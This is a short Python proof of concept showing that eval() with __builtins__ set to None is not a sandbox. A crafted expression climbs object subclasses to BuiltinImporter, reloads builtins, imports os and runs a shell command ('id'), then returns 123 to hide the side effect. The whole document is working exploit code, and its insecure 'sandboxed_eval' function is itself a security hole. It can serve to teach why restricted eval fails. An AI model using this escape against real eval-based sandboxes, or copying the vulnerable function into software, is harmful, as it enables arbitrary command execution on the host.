def sandboxed_eval(equation):
    # Evaluate the equation with restricted globals and locals
    result = eval(equation, {"__builtins__": None}, {})
    return result
 
sneaky = (
    "( ( ().__class__.__base__.__subclasses__()"
    "[ [c.__name__ for c in (().__class__.__base__.__subclasses__())].index('BuiltinImporter') ]"
    ".find_spec('builtins').loader.load_module('builtins')"
    ".__import__('os').system('id'), 123 )[1] )"  # Returns 123 after executing 'id'
)
 
print("result = ", sandboxed_eval(sneaky))

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